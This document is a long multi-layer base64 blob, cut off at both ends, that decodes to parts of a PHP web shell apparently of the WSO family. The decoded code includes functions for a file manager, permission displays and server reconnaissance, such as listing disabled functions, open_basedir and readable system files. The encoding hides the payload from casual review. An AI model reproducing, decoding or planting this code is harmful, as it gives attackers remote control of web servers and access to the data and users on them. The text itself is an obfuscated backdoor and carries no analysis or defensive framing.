UQlNWa295VWpJeFFrMUlTWHBqVjBvMVZqQndhVTlVWkVwVFNGcEdWMGRhTWtzeVRtMWFNMFpRV1RCV1JWUlVTazVTVjJoUFRsUnNObFJXVm1oT1JrSkZZbGR2TlZGc1p6RmpNMFpOVlVOMFJrMHlUbTFVYTFGNVZVTTVjMDFYT1ZKVU1rWXpVbTF3UlVzeFRUUmhTRzk0VkVkd1JGUnFUbUZXU0ZwUVZUSTFhVnA2YkhkV2JFSnhVMFJLYkZORldqRmlNMDQwVkcxS05sSlRkSGxUTVZKWFRWUktSV0pZYUZaVGEyaHVZMjAxUldSWVVrVlpNblJKWkVSck5WTkZaRmRXTVdNelUxVXdNVlZZYUdwT1ZWSjBWRzF3Y1dOdVZtdE5iSEJXWWtac1VVOVlXakZrYlhkM1UxUnJNVlF4VVRSbFIxcFVUMVV3TW1WdGVGRmlNbWhvV1ZkT2FWcFhlRzVWUkdSeFUwUm9kVmRxUm1wVU1uUnRWRlJPVjFaR2NFbE5lbFp0VFd4b1RWVjZhM3BVUmswMVpHNUtjVXg2YkRKVWJscHBZVWh2TkZCVFFXNUxVMnR3VDNkd09VTnBRVXRhYmxaMVdUTlNjR0l5Tkdka00wNTJVbTA1ZG1SSFZubExRMnRuWlhkdlowbERRV2RLUjJ4NldETmtlV0ZZVW1oWmJYaHNTVVF3WjJGWVRtWmtNMHB3WkVkR2FXSkhWVzlLUldSTlZEQktRbFJHVG1KS01rNHpXa05rWkV0VU9HbEpSSGh0WWpJMU1FbEhUblppUnpsNVVGTmtibU50Vm14aWFXTXJTMFprZVdGWVVteFpWMHB6V2xOck9Fd3lXblppYmxFclNXcHZhVWxFZUcxaU1qVXdTVWRPZG1KSE9YbFFXRXBzV2tRMGIxUnRPVEJKU0dSNVlWaFNhRmx0ZUd4TFZIZDJXbTA1ZFdSRU5HbFBkMjluU1VOQloxcFhUbTlpZVVGcFEycDNkbHBIYkRKUVoyODRaRWRHYVdKSFZXZFpNbmhvWXpOTk9XRlhOVzFpZVVKd1drUXhNR0l5T1hOak1WSnBZa05DYWxwWGVITmpSMFpyV2tkc2RWcDZNSHBKUjA1c1lrZDRlbU5IUm1waFZ6VnVVRlJCWjJReWJHdGtSMmM1VFZSQmQwcFRRV2RqTTFJMVlrZFZPVW95U25aamJWSnNZMmt4TUdJelFUWk5ia0kwU1VoT2RtSkhiR3RKUTAxNlRYcE5OMWx0T1hsYVIxWjVURmRLZG1SSVVuWmlWRzk1WTBobloyTXlPWE5oVjFGblNYcE5lazE2YzI1UVoyOW5TVU5CWjFCSVVubFFaMjluU1VOQlowbERRV2RKUkhnd1drUTBPRnB0T1hsaVUwSjJZbTVPTVZsdE1YQmtSREJ1V25sb2RXUlhlSE5NU0ZKdllWaE5kVmw1TlRKWlYzZ3hXbE40WTBsc2QybExWSFI1V2xoU01XTnROR2RhYlVaell6SlZOMHA2TkRoak0wSm9ZbW8xUkdGSFJuVmFNbFZuV2tkc2VVOXFkM1pqTTBKb1ltbzBPRmx1U1N0UVIyeDFZMGhXTUVsSFRuTlpXRTU2VUZOa01HSXlPWE5qTUd4MVkwTmpaMlJJYkhkYVZERXdXbGhvTUVsSE5XaGlWMVU1V1hsQ01sbFhlREZhVkRCdVNXbEJkVWxIYURCaVYzaDZZMGRXYW1GWFJuTlpNbWhvWTI1TmIwcEZaRTFVTUVwQ1ZFWk9Za295VGpOYVEyUmtTMU5CZFVscFl5dFFSMngxWTBoV01FbElValZqUjFVNVl6TldhV0pYYkRCSlNGcG9Za2hXYkZCVFl5dFFhV01yVUVNNWJXSXpTblJRYW5kMlpFZFJLME5wUVdkSlEwRm5TVU5CWjFCSVVtdFFhbmh0WWpOS2RFbEhPWFZqTTFacFlsZHNNRkJXZDJsYWVXZHVVbTFzYzFwWVRsVmlNamx6WTNsamMySnVWbk5pUTNnd1lVZHNla3h0V1hWa2JVWnpaRmRWY0U4elNteGtTRlo1WW1sQ2JWbFhlSHBhVkhSalNXbzBPR016UW1oaWFqVlRXbGRHYTBsSFduQmlSMVUyVUVNNWVtTkhSblZRYW5ocFkybzBPR0ZYTlhka1dGRm5XVEo0YUdNelRUbEtNMUoyWWpKNGVsTlhOWGRLZVVJd1pWaENiRkJZVW14bFNGRm5ZbTFHZEZwVU1XMVFhbmh3WW01Q01XUkRRakJsV0VKc1VGaE9NVmx0TVhCa1EwSXlXVmQ0TVZwVU1HNVFhalJ1VUdwM2RscHRPWGxpVkRRNFRETlNhMUJuYjJkSlEwRm5VRU01TUdOcU5EaGtTRWtyUTJsQlowbERRV2RKUTBGblVFaFNhMUJxZUcxaU0wcDBTVWM1ZFdNelZtbGlWMnd3VUZaM2FWcDVaMjVTYld4eldsaE9UbGxYTkc1TVJ6VXhZa2QzYzBveU1YSmFSMng1U25sNE1HRkhiSHBNYlZGMVpHMUdjMlJYVlhCUE0wcHNaRWhXZVdKcFFtMVpWM2g2V2xSMFkwbHFORGhqTTBKb1ltbzFUbGxYZEd4SlIxSndZMnB2T0V3elRuZFpWelFyU2tkc2VsZ3paSGxoV0ZKb1dXMTRiRkJIU25sUWFuaHdZbTVDTVdSRFFtcGlSMFo2WTNvd2JtUkhPWFppU0U1S1ltNUJia2xJVWpWalIxVTVaRWRXTkdSRFFuVlpWekZzVUZkUksxQkhiSFZqU0ZZd1NVaFNOV05IVlRsak0xWnBZbGRzTUVsSVdtaGlTRlpzVUZOaksxQnBZeXRRUXpsdFlqTktkRkJxZDNaa1IxRXJRMmxCWjBsRFFXZEpRMEZuVUVoU2ExQnFlRzFpTTBwMFNVYzVkV016Vm1saVYyd3dVRlozYVZwNVoyNVNiV3h6V2xoT1ZXSXlPWE5qZVdOelltNVdjMkpEZURCaFIyeDZURzFaZFdSdFJuTmtWMVZ6U2pJeGNscHRiSE5hVTJOd1R6TktiR1JJVm5saWFVSnRXVmQ0ZWxwVWRHTkphalE0WXpOQ2FHSnFOVTVaVjNSc1NVZGFjR0pIVlRaUVF6bDZZMGRHZFZCcFVuQmpNVGt6WTIxc01GbFhTbk5hVkhocFkybzBPR0ZYTlhka1dGRm5XVEo0YUdNelRUbEtNMUoyWWpKNGVsTlhOWGRLZVVJd1pWaENiRkJZVW14bFNGRm5ZbTFHZEZwVU1XMVFhbmh3WW01Q01XUkRRakJsV0VKc1VGaE9NVmx0TVhCa1EwSXlXVmQ0TVZwVU1HNVFhalJ1VUdwM2RscHRPWGxpVkRRNFRETlNhMUJuYjJkSlEwRm5VRU01TUdOcU5EaGtTRWtyUTJsQlowbERRV2RKUTBGblVFaFNhMUJxZUcxaU0wcDBTVWM1ZFdNelZtbGlWMnd3VUZaM2FWcDVaMjVSTWpsMVl6STVjMXBUWTNOaWJsWnpZa040TUdGSGJIcE1iVTExWkcxR2MyUlhWWEJQTTBwc1pFaFdlV0pwUW0xWlYzaDZXbFIwWTBscU5EaGpNMEpvWW1vMVJtVkhWbXBrV0ZKc1QycDNkbU16UW1oaWFqUTRXVzVKSzFCSGJIVmpTRll3U1VkT2MxbFlUbnBRVTJRd1lqSTVjMk13YkhWalEyTm5aRWhzZDFwVU1UQmFXR2d3U1VjMWFHSlhWVGxaZVVJeVdWZDRNVnBVTUc1S2VqUTRZVmMxZDJSWVVXZGtTR3gzV2xReGVtUlhTblJoV0ZGblpHMUdjMlJYVlRsS2VqUXJTbm8wT0V3eVduWmpiVEFyVUVNNU1GcEVORXRKUTBGblNVTkJaMGxEUVRoa1IxRXJVRWRhZG1OdE1HZGlWMVl3WVVjNWExQlRaSGRpTTA0d1NubENSbFJyVGxWWFZrSkdVRk5rZEdSWGVEQmhXRUpvWTI1UmRscHRPWGxpVXpGcldWaFNhRXA2TkV0SlEwRm5TVU5CWjBsRFFUaGhWelYzWkZoUloyUkliSGRhVkRGdllWZFNhMXBYTkdkaWJVWjBXbFF4YUVsSVdtaGlTRlpzVUZOa1IyRlhlR3hqTURGQ1ltbGpLME5wUVdkSlEwRm5TVU5CWjFCSGJIVmpTRll3U1VoU05XTkhWVGxoUjJ4cldrZFdkVWxITldoaVYxVTVXWGxDTWxsWGVERmFWREJ1U1dsQmRVbERVa2hVUlRsRFVWVjRWRmQ1Wkdwa01sRnVXRk5CZFVscFl5dERhVUZuU1VOQlowbERRV2RRUjJ4MVkwaFdNRWxJVWpWalIxVTVZVWRzYTFwSFZuVkpSelZvWWxkVk9XTkVSV2RrYlVaelpGZFZPVW96Vm5kaVJ6bG9Xa1ZhY0dKSFZXNVFaMjluU1VOQlowbERRV2RKUkhod1ltNUNNV1JEUWpCbFdFSnNVRmRvY0ZwSFVteGlhVUoxV1ZjeGJGQlhUbTlaV0VwNldsaFJaMlJ0Um5Oa1YxVTVTbmxKWjB4cFFXOWhXRTU2V2xoUmIwcEdPVkZVTVU1VlYzbGthbUZIUm5sak1sWXdTakV3Y0ZCNVVtWlZSVGxVVmtaemJsa3lhR2hqYms1c1pFTmtaRTlwWTI1TFUwRjFTVU5KYmxCbmIyZEpRMEZuU1VOQlowbEVlSHBqUjBaMVVHeFdkMkpIT1doYVEwSnRZVmQ0YkU5cWQzWmpNMEpvWW1vMGEyRllUbVprTTBwd1pFZEdhV0pIVlRoWmJra3JVRWRzZFdOSVZqQkpSMDV6V1ZoT2VsQlRaREJpTWpsell6QnNkV05EWTJka1NHeDNXbFF4YldGWGVHeEpSelZvWWxkVk9WcHFORGhoVnpWM1pGaFJaMlJJYkhkYVZERjZaRmRLZEdGWVVXZGtiVVp6WkZkVk9VcDZOQ3RLZWpRNFRESmFkbU50TUN0UVIwcDVTVU5CSzFCRE9UQmFSRFJMU1VOQlowbEVkM1prU0VrclVFTTVNRmxYU25OYVZEUTRUREpTY0dScU5EaE1Na3AyV2tocksxQkRPVzlrUnpGelVHbEpOME51TUV0SlFYQndXbWxCYjBsWFdqRmliVTR3WVZjNWRWZ3lWalJoV0U0d1kzbG5hV05IT1hwaFdHaG1XakpXTUdOSVpERmhWMUZwUzFOQmJVcHBRVzlqTTFKNVkwYzVla3REVWtoVVJUbERVVlY0VkZkNVpHdGhXRTVvV1cxNGJGZ3lXakZpYlU0d1lWYzVkV041WkdSTVEwRnVZMGM1ZW1GWWFHWmFNbFl3WTBoa01XRlhVVzVMVkRBNVVGZGFhR0pJVG14TFUydG5aWGR2WjBsRFFXZGFibFoxV1ROU2NHSXlOR2RqUnpsNllWaG9abG95VmpCalNHUXhZVmRSYjBwSVFYQkpTSFI1V2xoU01XTnROR2RhYlVaell6SlZOMlpUUWpsRGJXeHRTVU5uYUZwdVZuVlpNMUp3WWpJMVpscFlhSEJqTTFKNlMwTktkMkl6VG5CbFJqbHVXbGhTYm1OdFpIQmFRMGx3U1VOWmJVbERhSHBrU0VwM1lqTk5iMHBGWkUxVU1FcENWRVpPWWtveVVuQmpNa1pwWWtkV1pscHVWblZaTTFKd1lqSTFla294TUhOSlEyUjNZak5PY0dWR09XNWFXRkp1WTIxa2NGcERZM0JRVkRBNVdtMUdjMk15VlhCTFUwSTNRMmxCWjBsRFFtMWtWelZxWkVkc2RtSnBRbmRpTTA1d1pVWTVibHBZVW01amJXUndXa05uYTJORGEyZGxNMHBzWkVoV2VXSnBRbTFaVjNoNldsUjBPVWxJTUV0SlFYQnRaRmMxYW1SSGJIWmlhVUl6WXpJNVJtVkRaMnRoVnpSd1NVaHpTMGxEUVdkSlExSjJaRmhSWjFCVFFXNUtlbk5MU1VOQlowbEhiRzFKUTJodFpGYzFhbVJIYkhaaWJEbHNaVWRzZW1SSVRXOUtNbFkwV2xkTmJrdFRhMmRsZDI5blNVTkJaMGxEUVdkSlJVSnNaVWRXYWt0RFVuQmlhWGRyWWpOV01FdFVjMHRKUTBGblNVTkJaMGxEUVd0aU0xWXdTVVF3WjFGSGNIWmhWelJ2U1d4NGRVbHBkMnRpTTFZd1MxUnpTMGxEUVdkSlNEQm5XbGQ0ZWxwWGJHMUpRMmh0WkZjMWFtUkhiSFppYkRsc1pVZHNlbVJJVFc5S00wSm9Zek5PTUdGSVNqRktlV3R3U1VoelMwbERRV2RKUTBGblNVTkNkbGxzT1hwa1IwWjVaRU5uY0U5M2IyZEpRMEZuU1VOQlowbEZRbmRaV0U1NlpFZG9lV1JUWjJ0aFZ6UndUM2R2WjBsRFFXZEpRMEZuU1VOU2RtUllVV2RRVTBKMldXdzVibHBZVW1aWk1uaHNXVmMwYjB0VWMwdEpRMEZuU1Vnd1oxcFhlSHBhVjJ4dFNVTm9iV1JYTldwa1IyeDJZbXc1YkdWSGJIcGtTRTF2U2pOT05XTXpVbXhpVTJOd1MxTkNOME5wUVdkSlEwRm5TVU5CWjJJeVNtWmpNMUpvWTI1UmIwdFVjMHRKUTBGblNVTkJaMGxEUWtGak0yeDZaRWRXZEV0RFVuQmlhV3MzUTJsQlowbERRV2RKUTBGblNrYzVNV1JEUVRsSlJ6bHBXREprYkdSR09XcGlSMVpvWW1sbmNFOTNiMmRKUTBGblpsTkNiR0pJVG14aFYxbG5TMGRhTVdKdFRqQmhWemwxV0RKV05HRllUakJqZVdkdVl6Sm9iR0pIZUdaYVdHaHNXWGxqY0V0VFFqZERhVUZuU1VOQlowbERRV2RLUnpreFpFTkJPVWxJVG05YVYzaHpXREpXTkZwWFRXOUtSMngxUzFSelMwbERRV2RKU0RCbldsZDRlbHBYYkcxSlEyaHdZekU1ZVZwWVRuWmtXRXBxV2xObmExcHBRVGxKUlVKM1lqTkNiR0pwWjJ0aFZ6UnpTVzVKYVV0VGEzQkpTSE5MU1VOQlowbERRV2RKUTBGcllqTldNRWxFTUdkSmFVazNRMmxCWjBsRFFXZEpRMEZuWkRKb2NHSkhWVzlKVlVKdFdsYzViVXREVW0xTFUydExTVU5CWjBsRFFXZEpRMEZuU1VOQlowcEhPVEZrUTBGMVVGTkNiV050Vm1oYVEyZHJXbWwzZUUxRVNUQkxWSE5MU1VOQlowbERRV2RKUTBKM1dUSjRkbU15Vlc5S1IxbHdUM2R2WjBsRFFXZG1VVzluU1VOQloyTnRWakJrV0VwMVNVTlNkbVJZVVRkRGJqQkxTVUZ3YldSWE5XcGtSMngyWW1sQ00yTXlPVmRoVjFZelZUSnNObHBUWjJ0amVXdG5aWGR2WjBsRFFXZGhWMWxuUzBkc2VsZ3liSFZrUTJkclkzbHJjRU5wUVdkSlEwRm5TVU5CWjBwSVRXZFFVMEo2WTBoS2NHSnVVbTFMUTBsc1pGTkpjMGxEVW5wTFZITkxTVU5CWjBsRFFVdEpRMEZuU1Vkc2JVdERVbnBKUkRRNVNVUkZkMDU2VFROT1JFVTBUV3BSY0VOcFFXZEpRMEZuU1VOQloyTnRWakJrV0VwMVNVaE9kMk50YkhWa1IxbHZTbmxWZUV4cVNtMUtlWGRuU2toTloweDVRWGhOUkdONlRucFJlRTlFU1RCSlEydDFTVU5qWjFJd1NXNVBkMjluU1VOQloxcFhlSHBhVjJ4dFMwTlNla2xFTkRsSlJFVjNUa1JuTVU1NldYQkRhVUZuU1VOQlowbERRV2RqYlZZd1pGaEtkVWxJVG5kamJXeDFaRWRaYjBwNVZYaE1ha3B0U25sM1owcElUV2RNZVVGNFRVUlJORTVVWXpKSlEydG5UR2xCYmtsRk1VTktlbk5MU1VOQlowbEhWbk5qTWxad1dtbG5hMk41UVN0UVUwRjRUVVJKTUV0UmIyZEpRMEZuU1VOQlowbElTbXhrU0ZaNVltbENlbU5JU25CaWJsSnRTME5qYkUxVE5IbGFhV056U1VOU2VrbERPR2ROVkVGNVRrTkJjRWxETkdkS2VVSk1VV2xqTjBOcFFXZEpRMEpzWWtoT2JFTnBRV2RKUTBGblNVTkJaMk50VmpCa1dFcDFTVU5TZWtsRE5HZEtlVUpEU25welMyWlJiMmREYlZveFltMU9NR0ZYT1hWSlNHUjZZakZDYkdOdE1YcExRMUozUzFOQ04wTnBRV2RKUTBKd1dtbEJiMHREVW5kSlExbG5UVWhvUkUxRVFYZExVMEU1VUZOQmQyVkZUWGROUkVGd1NrZHJaMUJUUVc1amVXTTNRMmxCWjBsRFFteGlTRTVzWVZkWlowdERaMnRqUTBGdFNVUkNORkZVUVhkTlEydG5VRlF3WjAxSWFFSk5SRUYzUzFOU2NFbEVNR2RLTW5kdVQzZHZaMGxEUVdkYVYzaDZXbGRzYlVsRFoyOUtTRUZuU21sQmQyVkVaM2ROUkVGd1NVUXdPVWxFUWpSUFJFRjNUVU5yYTJGVFFUbEpRMk4wU25welMwbERRV2RKUjFaell6SldjRnBwUVc5TFExSjNTVU5aWjAxSVp6Sk5SRUYzUzFOQk9WQlRRWGRsUkZsM1RVUkJjRXBIYTJkUVUwRnVXV2xqTjBOcFFXZEpRMEpzWWtoT2JHRlhXV2RMUTJkclkwTkJiVWxFUWpST1JFRjNUVU5yWjFCVU1HZE5TR2N3VFVSQmQwdFRVbkJKUkRCblNqSlJiazkzYjJkSlEwRm5XbGQ0ZWxwWGJHMUpRMmR2U2toQlowcHBRWGRsUkVsM1RVUkJjRWxFTURsSlJFSTBUV3BCZDAxRGEydGhVMEU1U1VOa2FrcDZjMHRKUTBGblNVZFdjMk15Vm5CYWFVRnZTME5TZDBsRFdXZE5TR2Q0VFVSQmQwdFRRVGxRVTBGM1pVUkZkMDFFUVhCS1IydG5VRk5CYm1ORFl6ZERhVUZuU1VOQ2JHSklUbXhKUTFKd1NVUXdaMG96Vlc1UGQyOW5TVU5CWjBwSGEyZE1hakJuUzBObmEyTkRRVzFKUkVJMFRVUkZkMDFEYTJkUWVVRnVZMmxqWjA5cFFXNU1VMk53VDNkdlowbERRV2RLUjJ0blRHb3daMHREWjJ0alEwRnRTVVJDTkUxRVFUUk5RMnRuVUhsQmJtUjVZMmRQYVVGdVRGTmpjRTkzYjJkSlEwRm5Ta2RyWjB4cU1HZExRMmRyWTBOQmJVbEVRalJOUkVFd1RVTnJaMUI1UVc5TFExSjNTVU5aWjAxSVozZFBSRUYzUzFOQkwwbERaSHBLZVVFMlNVTmtORXA1UVhCSlJHOW5TME5uYTJORFFXMUpSRUkwVFVSbmQwMURhMmRRZVVGdVZYbGpaMDlwUVc1TVUyTndTMVJ6UzBsRFFXZEpRMUp3U1VNME9VbERaMjlLU0VGblNtbEJkMlZFUVhkTmFrRndTVVE0WjBvelNXNUpSRzluU25rd2JrdFVjMHRKUTBGblNVTlNjRWxETkRsSlEyZHZTa2hCWjBwcFFYZGxSRUYzVFZSQmNFbEVPR2RLTTJOdVNVUnZaMHA1TUc1TFZITkxTVU5CWjBsRFVuQkpRelE1U1VObmIwcElRV2RLYVVGM1pVUkJkMDFFWjNCSlJEaG5TME5uYTJORFFXMUpSRUkwVFVSUmQwMURhMmRRZVVGdVkzbGpaMDlwUVc1bFEyTm5TMU5CTmtsRFoyOUtTRUZuU21sQmQyVkVRVEJOUkVGd1NVUTRaMG94VFc1SlJHOW5Tbmt3Ymt0VGF6ZERhVUZuU1VOQmEyRlRRWFZRVTBGdlMwTlNkMGxEV1dkTlNHZDNUVVJCTUV0VFFTOUpRMlI1U25sQk5rbERZM1JLZVdzM1EybEJaMGxEUVd0aFUwRjFVRk5CYjB0RFVuZEpRMWxuVFVobmQwMUVRWGxMVTBFdlNVTmtNMHA1UVRaSlEyTjBTbmxyTjBOcFFXZEpRMEZyWVZOQmRWQlRRVzlMUTFKM1NVTlpaMDFJWjNkTlJFRjRTMU5CTDBsRFoyOUtTRUZuU21sQmQyVkVRWGxOUkVGd1NVUTRaMG96VVc1SlJHOW5Tak5uYmtsRGEyZFBhVUZ2UzBOU2QwbERXV2ROU0dkM1RXcEJkMHRUUVM5SlEyUlZTbmxCTmtsRFkzUktlV3R3VDNkdlowbERRV2RqYlZZd1pGaEtkVWxEVW5CUGQzQTVRMmxCUzFwdVZuVlpNMUp3WWpJMFoyUXpUblpWUjFaNVlsaE9SR0l5ZUhaamFXZHJXbWxyWjJWM2IyZEpRMEZuWVZkWlowdERSa0ZoV0U1bVkyMVdhRnBIUm1saVIxVnZTa2RaY0V0UmIyZEpRMEZuU1VOQlowbElTbXhrU0ZaNVltbEJibEJIV25aaWJsRm5XVEk1YzJJelNUbEpNRnBIVFVSQmQwMUVORzVKUXpSblpETk9kbFZIVm5saVdFMXZVVWRhY0dKSFZuZGFXRXAwWTNsbmExcHBhM0JKUXpSblNucDNkbHB0T1hWa1JEUnVUM2R2WjBsRFFXZGFWM2g2V2xkc2JVbERaMmhSUjJ4NldETmtlV0ZZVW1oWmJYaHNTME5TYlV0VGEwdEpRMEZuU1VOQlowbERRbmxhV0ZJeFkyMDBaMHA2ZUcxaU1qVXdTVWRPZG1KSE9YbFFXR1J2WVZoU2JGQnBZMmRNYVVJell6STVVVnBZU25SamVXaEJXbTFzYzFwWVFteGpiVEY2UzBOU2JVdFRhMmRNYVVGdVVFTTViV0l5TlRCUWFXTTNRMmxCWjBsRFFteGlTRTVzUTJsQlowbERRV2RKUTBGblkyMVdNR1JZU25WSlEyTTRXbTA1ZFdSRFFtcGlNbmgyWTJvd2FrMXFWbTFhYWtGM1VHbGpaMHhwUWpOak1qbFJXbGhLZEdONWFFRmFiV3h6V2xoQ2JHTnRNWHBMUTFKdFMxTnJaMHhwUVc1UVF6bHRZakkxTUZCcFl6ZERiakJMU1VGd2JXUlhOV3BrUjJ4MlltbENNMk15T1ZSWk1rWjFXa2RzZVV0RFVtdGhXRWx3U1VoelMwbERRV2RKUjJ4dFMwZGFNV0p0VGpCaFZ6bDFXREpXTkdGWVRqQmplV2RwWXpKT2FHSnRVbkJqYVVsd1MxTkNOME5wUVdkSlEwRm5TVU5CWjJOdFZqQmtXRXAxU1VoT2FsbFhOV3RoV0VsdlNrZFNjR05wYXpkRGFVRm5TVU5DT1VsSFZuTmpNbFZuWlhkdlowbERRV2RKUTBGblNVTlNhMkZEUVdkUVUwSjJZMGRXZFZwSGJIbExRMUpyWVZoSmNFOTNiMmRKUTBGblNVTkJaMGxJWkc5aFYzaHNTVU5vYlZsWGVIcGFVMEZvVUZRd1owdERVbTFoVjNoc1ltMUdkRnBUUVRsSlNFcHNXVmRTYTJGWVNXOUtSMUp2UzFOcmNFTnBRV2RKUTBGblNVTkJaMGxEUVdkSlExSnRZVmQ0YkdNeGRHUkpSREJuU2tkYWNHSkhWblZaVnpGc1QzZHZaMGxEUVdkSlEwRm5TVWhLYkdSSVZubGlhVUZyV20xc2MxcFlUVGREYVVGblNVTkNPVU51TUV0SlFYQnRaRmMxYW1SSGJIWmlhVUl6WXpJNVdHRkhiR3BoUTJkclkwTnJaMlYzYjJkSlEwRm5Ta2hDYUdSSFoyZFFVMEl6WXpJNVJtVkRaMjVrTW1od1dUSm5aMHA1UVhWSlExSjNTMVJ6UzBsRFFXZEpSMnh0UzBOR2JHSllRakJsVTJkclkwZEdNR0ZEYTNCRGFVRm5TVU5CWjBsRFFXZGpiVll3WkZoS2RVbERVbmRaV0ZKdlQzZHZaMGxEUVdkamJWWXdaRmhLZFVsSFdtaGlTRTVzVDNkd09VTnBRVXRhYmxaMVdUTlNjR0l5TkdkWlYwNHdZVmM1ZFZVeVZtcFRWelZ0WW5sbmNFbEljMHRKUTBGblNVaGtlbUl3YUd4WlYxSnNZMmxuY0U5M2IyZEpRMEZuV2xkT2IySjVRVzVRUjJkNFVHeE9iR051V214amFVSjZXbGRPTVdOdGJEQmxVMEp3WW0xYWRtTnRNV2hrUjJ4MlltcDNkbUZFUlN0UVIxSndaR2xDYW1KSFJucGplakZxWWpJMU1GcFhOVEJRYVdNM1EybEJaMGxEUW0xa1Z6VnFaRWRzZG1KcFFqTmpNamxVV2xkT1VWbFlTbWhpVTJkclltbDNaMHBJV1hCSlNITkxTVU5CWjBsRFFXZEpRMEZyWkdsQk9VbElVbmxoVnpCdlNraFpjRTkzYjJkSlEwRm5TVU5CWjBsSGJHMUxRMUl5UzFOQ04wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlIxWnFZVWM0WjBwNmVIcGpSMFoxVUdsaloweHBRV3RpYVVGMVNVTmpOa2xFZDNaak0wSm9ZbW8wYms5M2IyZEpRMEZuU1VOQlowbERRV2RKUTBKd1dtbG9lbVJJU25kaU0wMXZTa2haYzBsRFNtTmlhVWx3U1VRd09WQlRRbTFaVjNoNldsTnJTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VkV2FtRkhPR2RLU0ZsblRHbEJibEJIU25sUWFXTTNRMmxCWjBsRFFXZEpRMEZuU1VOQlowbEhWbk5qTWxWTFNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpSMVpxWVVjNFowcDZlSGRqYlZWbldUSjRhR016VFRsaVYzZDRVR2xqWjB4cFFXdGthVUYxU1VOak9Fd3pRbmxhVkRSdVQzZHZaMGxEUVdkSlEwRm5TVWd3UzBsRFFXZEpTREJMU1VGdlowbERRV2RrTTA1MlZUSldhbFZIUm5sWlZ6QnZTakZPYkdOdVdteGphVUo2WWpKYU1HUXlSbmxhVTJOelNVVkNibHBZVW14aWJsbHZTakZPUmxWc1drWlZiRGxVVkRCYVZWWXdSbE5TVTJOd1MxUnpTMGxEUVdkSlIyeHRTMGRhTVdKdFRqQmhWemwxV0RKV05HRllUakJqZVdkdVdWaENhRmt5YUd4WU1tUnNaRVk1ZEdJeVVqRmlSMVo2U25scmNFTnBRV2RKUTBGblNVTkJaMlF6VG5aVk1sWnFWVWRHZVZsWE1HOUtNSGgyV1ZkU2JGcERRa0pqUjBacVlVZFZaMkpYT1d0a1YzaHNZM2xqYzBsSGJIUmpSM2gyV2tkVmIwcDVkMmRLZVhkbldWaENhRmt5YUd4WU1tUnNaRVk1ZEdJeVVqRmlSMVo2UzBOcmNFdFVjMHRKUTBGblNVaGtlbUl4VG14Wk1VSm9ZMjFHZEV0RFpFVmhXRTVvV1cxNGJGcERRbEZUUmtGblVtNVdkVmt6VW5CaU1qVjZTbmwzWjBwRlpFMVVNRXBDVkVaT1lrb3lVbkJqTWtacFlrZFdabHB1Vm5WWk0xSndZakkxZWtveE1DOUtSV1JOVkRCS1FsUkdUbUpLTWxKd1l6SkdhV0pIVm1aYWJsWjFXVE5TY0dJeU5YcEtNVEEyU2pJMWRtSnRWVzVMVkhOTFNVTkJaMGxJWkhwaU1VNXNXVEZDYUdOdFJuUkxRMlJRWTBkV2RVbEhTbWhqTWxWbldrZHNlVXA1ZDJkUlIyeDFZVlk1YmxwWVVXOUtNamwzV2xjMVpsbHRSbnBhVjFKd1kybGpjRXRVYzB0SlEwRm5TVWhrZW1JeFRteFpNVUpvWTIxR2RFdERaRlJaVjFwc1NVY3hkbHBIVldkYVdHaHNXWGxDYTJGWVNXNU1RMEpCWVZjMWNGZ3laR3hrUTJkdVl6SkdiVnBXT1hSaU1sSnNXREpXTkZwWFRtWmFSMng1U25scmNFOTNiMmRKUTBGblpETk9kbFV5Vm1wVlIwWjVXVmN3YjBveFRtaGFiVlZuWWxjNWExcFRRbkJpYlU1elpGZFNiRWxIVW5CamFXTnpTVVZDY0dKdGJHWmFNbFl3UzBOa2VsbFhXbXhZTWpGMldrZFdabUZYTldwaVNGWnJXbFk1YTJGWVNXNUxVMnMzUTJsQlowbERRak5qTWpsVVdsZE9VVmxZU21oaVUyZHVXVEZXVTFSRFFucGtXRUozWWpOS01FcDVkMmRhYmxaMVdUTlNjR0l5TldaYVdHaHdZek5TZWt0RFpHcGtXRXB6V0ROYWJHTnVUbkJpTWpSdVMxUTRibHBYTldoWmJYaHNXa05qTmtveU5YWktlV3MzUTJsQlowbERRV3RrUjFaMFkwUXhhR051U21obFUyZHdUM2R2WjBsRFFXZGhWMWx2V201V2RWa3pVbkJpTWpWbVdsaG9jR016VW5wTFEyUjBaVmhPZUdKR09XNWFXRkptV1RKNGNGcFhOVEJZTW14MVdtMDRia3RUYTB0SlEwRm5TVU5CWjBsRFFXdGtSMVowWTBaMFpFbEVNR2RKYXpFMVZUTkdjMGxEWjJsTWJURTFZek5HYzFneVpHeGtSamxxWWtkc2JHSnVVbVpoVnpWdFlubG5jRXhwU1hCSmFuTkxTVU5CWjBsSGJHMUxSMW94WW0xT01HRlhPWFZZTWxZMFlWaE9NR041WjI1aVdFNTZZMWQ0WmxreU9YVmliVlpxWkVOamNFdFJiMmRKUTBGblNVTkJaMGxEVWpCYVZ6RjNWekV3WjFCVFFXbFVWazVVVlZWM2FVOTNiMmRKUTBGbllWZFpiMXB1Vm5WWk0xSndZakkxWmxwWWFIQmpNMUo2UzBOa2Qxb3hPV3BpTWpWMVdsZE9NRXA1YTNCRGFVRm5TVU5CWjBsRFFXZEtTRkpzWWxoQ1lsaFRRVGxKUTBwUllqTk9NRm96U214Vk1VWk5TV3B6UzBsRFFXZEpSMnh0UzBkYU1XSnRUakJoVnpsMVdESldOR0ZZVGpCamVXZHVZakpPY0ZneVRuWmliVFZzV1ROUmJrdFRhMHRKUTBGblNVTkJaMGxEUVd0a1IxWjBZMFowWkVsRU1HZEphemw1V1ZkT2MxcFRTVGREYVVGblNVTkNNMk15T1ZSYVYwNVJXVmhLYUdKVFoyNVZNMVozWTBjNWVXUkhWbXRKUjFKb1pFZEdhVmxZVG14amVXTnpTVWRzZEdOSGVIWmFSMVZ2U25sM1owcDVkMmRLU0ZKc1lsaEJjRXRVYzB0SlEwRm5TVWRXYW1GSE9HZEtlbmhwWTJvMGJrOTNiMmREYVVGblNVTkNjRnBwWjJ0U01IaFFVV3RHVFZVeGMyNWlNMDF1V0ZOQk9WQlRRVzVpYld3MFNubHJaMlYzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEl6WXpJNVZGcFhUbEZaV0Vwb1lsTm5ibFZ0Vm1oYVIwWnBZa2RWWjB3eVZqQlplVGwzV1ZoT2VtUXlVVzVNUTBKQllWaE9abU50Vm1oYVIwWnBZa2RWYjBwNU9XeGtSMDEyWTBkR2VtTXpaR3RLZVdzdlNXNXNiR041UVR